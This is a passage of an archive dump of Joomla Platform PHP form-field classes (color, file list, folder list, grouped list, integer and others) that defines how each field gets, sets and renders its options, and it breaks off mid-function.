* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'checkedOptions':
$this->checkedOptions = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to get the radio button field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if (empty($this->layout))
{
throw new UnexpectedValueException(sprintf('%s has no layout
assigned.', $this->name));
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->checkedOptions = (string)
$this->element['checked'];
}
return $return;
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// True if the field has 'value' set. In other words, it has
been stored, don't use the default values.
$hasValue = (isset($this->value) && !empty($this->value));
// If a value has been stored, use it. Otherwise, use the defaults.
$checkedOptions = $hasValue ? $this->value : $this->checkedOptions;
$extraData = array(
'checkedOptions' => is_array($checkedOptions) ?
$checkedOptions : explode(',', (string) $checkedOptions),
'hasValue' => $hasValue,
'options' => $this->getOptions(),
);
return array_merge($data, $extraData);
}
}
form/fields/color.php000064400000015042151171674100010611 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Color Form Field class for the Joomla Platform.
* This implementation is designed to be compatible with HTML5's
`<input type="color">`
*
* @link http://www.w3.org/TR/html-markup/input.color.html
* @since 1.7.3
*/
class JFormFieldColor extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.3
*/
protected $type = 'Color';
/**
* The control.
*
* @var mixed
* @since 3.2
*/
protected $control = 'hue';
/**
* The format.
*
* @var string
* @since 3.6.0
*/
protected $format = 'hex';
/**
* The keywords (transparent,initial,inherit).
*
* @var string
* @since 3.6.0
*/
protected $keywords = '';
/**
* The position.
*
* @var mixed
* @since 3.2
*/
protected $position = 'default';
/**
* The colors.
*
* @var mixed
* @since 3.2
*/
protected $colors;
/**
* The split.
*
* @var integer
* @since 3.2
*/
protected $split = 3;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.5
*/
protected $layout = 'joomla.form.field.color';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'control':
case 'format':
case 'keywords':
case 'exclude':
case 'colors':
case 'split':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'split':
$value = (int) $value;
case 'control':
case 'format':
$this->$name = (string) $value;
break;
case 'keywords':
$this->$name = (string) $value;
break;
case 'exclude':
case 'colors':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->control = isset($this->element['control']) ?
(string) $this->element['control'] : 'hue';
$this->format = isset($this->element['format']) ?
(string) $this->element['format'] : 'hex';
$this->keywords = isset($this->element['keywords']) ?
(string) $this->element['keywords'] : '';
$this->position = isset($this->element['position']) ?
(string) $this->element['position'] : 'default';
$this->colors = (string) $this->element['colors'];
$this->split = isset($this->element['split']) ? (int)
$this->element['split'] : 3;
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.3
*/
protected function getInput()
{
// Switch the layouts
$this->layout = $this->control === 'simple' ?
$this->layout . '.simple' : $this->layout .
'.advanced';
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$lang = JFactory::getLanguage();
$data = parent::getLayoutData();
$color = strtolower($this->value);
$color = ! $color ? '' : $color;
// Position of the panel can be: right (default), left, top or bottom
(default RTL is left)
$position = ' data-position="' . (($lang->isRTL()
&& $this->position == 'default') ? 'left' :
$this->position) . '"';
if (!$color || in_array($color, array('none',
'transparent')))
{
$color = 'none';
}
elseif ($color['0'] != '#' &&
$this->format == 'hex')
{
$color = '#' . $color;
}
// Assign data for simple/advanced mode
$controlModeData = $this->control === 'simple' ?
$this->getSimpleModeLayoutData() :
$this->getAdvancedModeLayoutData($lang);
$extraData = array(
'color' => $color,
'format' => $this->format,
'keywords' => $this->keywords,
'position' => $position,
'validate' => $this->validate
);
return array_merge($data, $extraData, $controlModeData);
}
/**
* Method to get the data for the simple mode to be passed to the layout
for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getSimpleModeLayoutData()
{
$colors = strtolower($this->colors);
if (empty($colors))
{
$colors = array(
'none',
'#049cdb',
'#46a546',
'#9d261d',
'#ffc40d',
'#f89406',
'#c3325f',
'#7a43b6',
'#ffffff',
'#999999',
'#555555',
'#000000',
);
}
else
{
$colors = explode(',', $colors);
}
if (!$this->split)
{
$count = count($colors);
if ($count % 5 == 0)
{
$split = 5;
}
else
{
if ($count % 4 == 0)
{
$split = 4;
}
}
}
$split = $this->split ? $this->split : 3;
return array(
'colors' => $colors,
'split' => $split,
);
}
/**
* Method to get the data for the advanced mode to be passed to the layout
for rendering.
*
* @param object $lang The language object
*
* @return array
*
* @since 3.5
*/
protected function getAdvancedModeLayoutData($lang)
{
return array(
'colors' => $this->colors,
'control' => $this->control,
'lang' => $lang,
);
}
}
form/fields/combo.php000064400000002677151171674100010604 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Implements a combo box field.
*
* @since 1.7.0
*/
class JFormFieldCombo extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Combo';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.8.0
*/
protected $layout = 'joomla.form.field.combo';
/**
* Method to get the field input markup for a combo box field.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if (empty($this->layout))
{
throw new UnexpectedValueException(sprintf('%s has no layout
assigned.', $this->name));
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.8.0
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Get the field options.
$options = $this->getOptions();
$extraData = array(
'options' => $options,
);
return array_merge($data, $extraData);
}
}
form/fields/components.php000064400000003201151171674100011652
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Framework.
*
* @since 3.7.0
*/
class JFormFieldComponents extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 3.7.0
*/
protected $type = 'Components';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*
* @since 2.5.0
*/
protected function getOptions()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('name AS text, element AS value')
->from('#__extensions')
->where('enabled >= 1')
->where('type =' . $db->quote('component'));
$items = $db->setQuery($query)->loadObjectList();
if ($items)
{
$lang = JFactory::getLanguage();
foreach ($items as &$item)
{
// Load language
$extension = $item->value;
$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null,
false, true)
|| $lang->load("$extension.sys", JPATH_ADMINISTRATOR .
'/components/' . $extension, null, false, true);
// Translate component name
$item->text = JText::_($item->text);
}
// Sort by component name
$items = ArrayHelper::sortObjects($items, 'text', 1, true,
true);
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $items);
return $options;
}
}
form/fields/databaseconnection.php000064400000004011151171674100013311
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a list of available database connections, optionally limiting
to
* a given list.
*
* @see JDatabaseDriver
* @since 1.7.3
*/
class JFormFieldDatabaseConnection extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.3
*/
protected $type = 'DatabaseConnection';
/**
* Method to get the list of database options.
*
* This method produces a drop down list of available databases supported
* by JDatabaseDriver classes that are also supported by the application.
*
* @return array The field option objects.
*
* @since 1.7.3
* @see JDatabaseDriver::getConnectors()
*/
protected function getOptions()
{
// This gets the connectors available in the platform and supported by
the server.
$available = JDatabaseDriver::getConnectors();
/**
* This gets the list of database types supported by the application.
* This should be entered in the form definition as a comma separated
list.
* If no supported databases are listed, it is assumed all available
databases
* are supported.
*/
$supported = $this->element['supported'];
if (!empty($supported))
{
$supported = explode(',', $supported);
foreach ($supported as $support)
{
if (in_array($support, $available))
{
$options[$support] = JText::_(ucfirst($support));
}
}
}
else
{
foreach ($available as $support)
{
$options[$support] = JText::_(ucfirst($support));
}
}
// This will come into play if an application is installed that requires
// a database that is not available on the server.
if (empty($options))
{
$options[''] = JText::_('JNONE');
}
return $options;
}
}
form/fields/email.php000064400000002727151171674100010570 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the Joomla Platform.
* Provides and input field for email addresses
*
* @link http://www.w3.org/TR/html-markup/input.email.html#input.email
* @see JFormRuleEmail
* @since 1.7.0
*/
class JFormFieldEMail extends JFormFieldText
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Email';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.email';
/**
* Method to get the field input markup for email addresses.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$extraData = array(
'maxLength' => $this->maxLength,
'multiple' => $this->multiple,
);
return array_merge($data, $extraData);
}
}
form/fields/file.php000064400000006534151171674100010420 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides an input field for files
*
* @link http://www.w3.org/TR/html-markup/input.file.html#input.file
* @since 1.7.0
*/
class JFormFieldFile extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'File';
/**
* The accepted file type list.
*
* @var mixed
* @since 3.2
*/
protected $accept;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.6
*/
protected $layout = 'joomla.form.field.file';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'accept':
return $this->accept;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'accept':
$this->accept = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->accept = (string) $this->element['accept'];
}
return $return;
}
/**
* Method to get the field input markup for the file field.
* Field attributes allow specification of a maximum file size and a
string
* of accepted file extensions.
*
* @return string The field input markup.
*
* @note The field does not include an upload mechanism.
* @see JFormFieldMedia
* @since 1.7.0
*/
protected function getInput()
{
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.6
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$extraData = array(
'accept' => $this->accept,
'multiple' => $this->multiple,
);
return array_merge($data, $extraData);
}
}
form/fields/filelist.php000064400000013054151171674100011307
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.path');
JFormHelper::loadFieldClass('list');
/**
* Supports an HTML select list of files
*
* @since 1.7.0
*/
class JFormFieldFileList extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'FileList';
/**
* The filter.
*
* @var string
* @since 3.2
*/
protected $filter;
/**
* The exclude.
*
* @var string
* @since 3.2
*/
protected $exclude;
/**
* The hideNone.
*
* @var boolean
* @since 3.2
*/
protected $hideNone = false;
/**
* The hideDefault.
*
* @var boolean
* @since 3.2
*/
protected $hideDefault = false;
/**
* The stripExt.
*
* @var boolean
* @since 3.2
*/
protected $stripExt = false;
/**
* The directory.
*
* @var string
* @since 3.2
*/
protected $directory;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'filter':
case 'exclude':
case 'hideNone':
case 'hideDefault':
case 'stripExt':
case 'directory':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'filter':
case 'directory':
case 'exclude':
$this->$name = (string) $value;
break;
case 'hideNone':
case 'hideDefault':
case 'stripExt':
$value = (string) $value;
$this->$name = ($value === 'true' || $value === $name ||
$value === '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->filter = (string) $this->element['filter'];
$this->exclude = (string) $this->element['exclude'];
$hideNone = (string) $this->element['hide_none'];
$this->hideNone = ($hideNone == 'true' || $hideNone ==
'hideNone' || $hideNone == '1');
$hideDefault = (string)
$this->element['hide_default'];
$this->hideDefault = ($hideDefault == 'true' ||
$hideDefault == 'hideDefault' || $hideDefault == '1');
$stripExt = (string) $this->element['stripext'];
$this->stripExt = ($stripExt == 'true' || $stripExt ==
'stripExt' || $stripExt == '1');
// Get the path in which to search for file options.
$this->directory = (string) $this->element['directory'];
}
return $return;
}
/**
* Method to get the list of files for the field options.
* Specify the target directory with a directory attribute
* Attributes allow an exclude mask and stripping of extensions from file
name.
* Default attribute may optionally be set to null (no file) or -1 (use a
default).
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
$path = $this->directory;
if (!is_dir($path))
{
$path = JPATH_ROOT . '/' . $path;
}
$path = JPath::clean($path);
// Prepend some default options based on field attributes.
if (!$this->hideNone)
{
$options[] = JHtml::_('select.option', '-1',
JText::alt('JOPTION_DO_NOT_USE',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
if (!$this->hideDefault)
{
$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_USE_DEFAULT',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
// Get a list of files in the search path with the given filter.
$files = JFolder::files($path, $this->filter);
// Build the options list from the list of files.
if (is_array($files))
{
foreach ($files as $file)
{
// Check to see if the file is in the exclude mask.
if ($this->exclude)
{
if (preg_match(chr(1) . $this->exclude . chr(1), $file))
{
continue;
}
}
// If the extension is to be stripped, do it.
if ($this->stripExt)
{
$file = JFile::stripExt($file);
}
$options[] = JHtml::_('select.option', $file, $file);
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
form/fields/folderlist.php000064400000012601151171674100011640
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.path');
JFormHelper::loadFieldClass('list');
/**
* Supports an HTML select list of folder
*
* @since 1.7.0
*/
class JFormFieldFolderList extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'FolderList';
/**
* The filter.
*
* @var string
* @since 3.2
*/
protected $filter;
/**
* The exclude.
*
* @var string
* @since 3.2
*/
protected $exclude;
/**
* The recursive.
*
* @var string
* @since 3.6
*/
protected $recursive;
/**
* The hideNone.
*
* @var boolean
* @since 3.2
*/
protected $hideNone = false;
/**
* The hideDefault.
*
* @var boolean
* @since 3.2
*/
protected $hideDefault = false;
/**
* The directory.
*
* @var string
* @since 3.2
*/
protected $directory;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'filter':
case 'exclude':
case 'recursive':
case 'hideNone':
case 'hideDefault':
case 'directory':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'filter':
case 'directory':
case 'exclude':
case 'recursive':
$this->$name = (string) $value;
break;
case 'hideNone':
case 'hideDefault':
$value = (string) $value;
$this->$name = ($value === 'true' || $value === $name ||
$value === '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->filter = (string) $this->element['filter'];
$this->exclude = (string) $this->element['exclude'];
$recursive = (string) $this->element['recursive'];
$this->recursive = ($recursive == 'true' || $recursive ==
'recursive' || $recursive == '1');
$hideNone = (string) $this->element['hide_none'];
$this->hideNone = ($hideNone == 'true' || $hideNone ==
'hideNone' || $hideNone == '1');
$hideDefault = (string)
$this->element['hide_default'];
$this->hideDefault = ($hideDefault == 'true' ||
$hideDefault == 'hideDefault' || $hideDefault == '1');
// Get the path in which to search for file options.
$this->directory = (string) $this->element['directory'];
}
return $return;
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
$path = $this->directory;
if (!is_dir($path))
{
if (is_dir(JPATH_ROOT . '/' . $path))
{
$path = JPATH_ROOT . '/' . $path;
}
else
{
return;
}
}
$path = JPath::clean($path);
// Prepend some default options based on field attributes.
if (!$this->hideNone)
{
$options[] = JHtml::_('select.option', '-1',
JText::alt('JOPTION_DO_NOT_USE',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
if (!$this->hideDefault)
{
$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_USE_DEFAULT',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
// Get a list of folders in the search path with the given filter.
$folders = JFolder::folders($path, $this->filter, $this->recursive,
true);
// Build the options list from the list of folders.
if (is_array($folders))
{
foreach ($folders as $folder)
{
// Remove the root part and the leading /
$folder = trim(str_replace($path, '', $folder),
'/');
// Check to see if the file is in the exclude mask.
if ($this->exclude)
{
if (preg_match(chr(1) . $this->exclude . chr(1), $folder))
{
continue;
}
}
$options[] = JHtml::_('select.option', $folder, $folder);
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
form/fields/groupedlist.php000064400000012577151171674100012046
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides a grouped list select field.
*
* @since 1.7.0
*/
class JFormFieldGroupedList extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'GroupedList';
/**
* Method to get the field option groups.
*
* @return array The field option objects as a nested array in groups.
*
* @since 1.7.0
* @throws UnexpectedValueException
*/
protected function getGroups()
{
$groups = array();
$label = 0;
foreach ($this->element->children() as $element)
{
switch ($element->getName())
{
// The element is an <option />
case 'option':
// Initialize the group if necessary.
if (!isset($groups[$label]))
{
$groups[$label] = array();
}
$disabled = (string) $element['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
// Create a new option object based on the <option /> element.
$tmp = JHtml::_(
'select.option', ($element['value']) ? (string)
$element['value'] : trim((string) $element),
JText::alt(trim((string) $element),
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)), 'value', 'text',
$disabled
);
// Set some option attributes.
$tmp->class = (string) $element['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $element['onclick'];
// Add the option.
$groups[$label][] = $tmp;
break;
// The element is a <group />
case 'group':
// Get the group label.
if ($groupLabel = (string) $element['label'])
{
$label = JText::_($groupLabel);
}
// Initialize the group if necessary.
if (!isset($groups[$label]))
{
$groups[$label] = array();
}
// Iterate through the children and build an array of options.
foreach ($element->children() as $option)
{
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
$disabled = (string) $option['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
// Create a new option object based on the <option /> element.
$tmp = JHtml::_(
'select.option', ($option['value']) ? (string)
$option['value'] : JText::_(trim((string) $option)),
JText::_(trim((string) $option)), 'value',
'text', $disabled
);
// Set some option attributes.
$tmp->class = (string) $option['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $option['onclick'];
// Add the option.
$groups[$label][] = $tmp;
}
if ($groupLabel)
{
$label = count($groups);
}
break;
// Unknown element type.
default:
throw new UnexpectedValueException(sprintf('Unsupported element
%s in JFormFieldGroupedList', $element->getName()), 500);
}
}
reset($groups);
return $groups;
}
/**
* Method to get the field input markup fora grouped list.
* Multiselect is enabled by using the multiple attribute.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
$html = array();
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= !empty($this->size) ? ' size="' .
$this->size . '"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ($this->readonly || $this->disabled)
{
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= !empty($this->onchange) ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field groups.
$groups = (array) $this->getGroups();
// Create a read-only list (no name) with a hidden input to store the
value.
if ($this->readonly)
{
$html[] = JHtml::_(
'select.groupedlist', $groups, null,
array(
'list.attr' => $attr, 'id' => $this->id,
'list.select' => $this->value, 'group.items'
=> null, 'option.key.toHtml' => false,
'option.text.toHtml' => false,
)
);
// E.g. form field type tag sends $this->value as array
if ($this->multiple && is_array($this->value))
{
if (!count($this->value))
{
$this->value[] = '';
}
foreach ($this->value as $value)
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '"/>';
}
}
else
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'"/>';
}
}
// Create a regular list.
else
{
$html[] = JHtml::_(
'select.groupedlist', $groups, $this->name,
array(
'list.attr' => $attr, 'id' => $this->id,
'list.select' => $this->value, 'group.items'
=> null, 'option.key.toHtml' => false,
'option.text.toHtml' => false,
)
);
}
return implode($html);
}
}
form/fields/hidden.php000064400000002340151171674100010723 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides a hidden field
*
* @link http://www.w3.org/TR/html-markup/input.hidden.html#input.hidden
* @since 1.7.0
*/
class JFormFieldHidden extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Hidden';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.hidden';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
return parent::getLayoutData();
}
}
form/fields/imagelist.php000064400000001706151171674100011453
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('filelist');
/**
* Supports an HTML select list of image
*
* @since 1.7.0
*/
class JFormFieldImageList extends JFormFieldFileList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'ImageList';
/**
* Method to get the list of images field options.
* Use the filter attribute to specify allowable file extensions.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
// Define the image file type filter.
$this->filter =
'\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$|\.jpeg$|\.psd$|\.eps$';
// Get the field options.
return parent::getOptions();
}
}
form/fields/integer.php000064400000003370151171674100011131
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a select list of integers with specified first, last and step
values.
*
* @since 1.7.0
*/
class JFormFieldInteger extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Integer';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Initialize some field attributes.
$first = (int) $this->element['first'];
$last = (int) $this->element['last'];
$step = (int) $this->element['step'];
// Sanity checks.
if ($step == 0)
{
// Step of 0 will create an endless loop.
return $options;
}
elseif ($first < $last && $step < 0)
{
// A negative step will never reach the last number.
return $options;
}
elseif ($first > $last && $step > 0)
{
// A position step will never reach the last number.
return $options;
}
elseif ($step < 0)
{
// Build the options array backwards.
